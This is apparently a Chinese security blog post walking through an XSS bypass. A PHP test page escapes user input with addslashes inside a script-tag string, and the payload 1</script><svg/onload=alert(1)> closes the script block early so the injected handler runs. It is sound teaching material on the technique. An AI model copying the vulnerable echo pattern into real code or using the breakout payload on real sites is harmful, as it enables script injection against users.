前言

看了P喵呜-PHPoop师傅的文章后来复现学习一波

环境

可控点在<script> 标签里面的里一个 a变量内,转义了单引号与双引号 并且被双引号包含。

xss.php

<!DOCTYPE html>
<html lang="en">
<head>
    <title>xss-test</title>
</head>
<body>
    xss-test
</body>
<script>
    var a = "<?php echo @addslashes($_GET[data]); ?>";
</script>
</html>

解法

这里使用正常的payload因为"'会被转义没办法去闭合

64479-a1s47qbcj07.png

payload: 1</script><svg/onload=alert(1)>

03785-jsyajmx5l1.png

查看源代码可以发现双引号虽然被转义了,但是浏览器认为遇到的第一个</script>是结束符,从而执行了我们直接的代码

76470-hyknjydjjua.png

最后修改:2022 年 01 月 20 日
  • 本文作者:Juneha
  • 本文链接:https://blog.mo60.cn/index.php/archives/43.html
  • 版权声明:本博客所有文章除特别声明外,均默认采用 CC BY-NC-SA 4.0 许可协议。
  • 文章声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任,本人坚决反对利用文章内容进行恶意攻击行为,推荐大家在了解技术原理的前提下,更好的维护个人信息安全、企业安全、国家安全。
如果觉得我的文章对你有用,请随意赞赏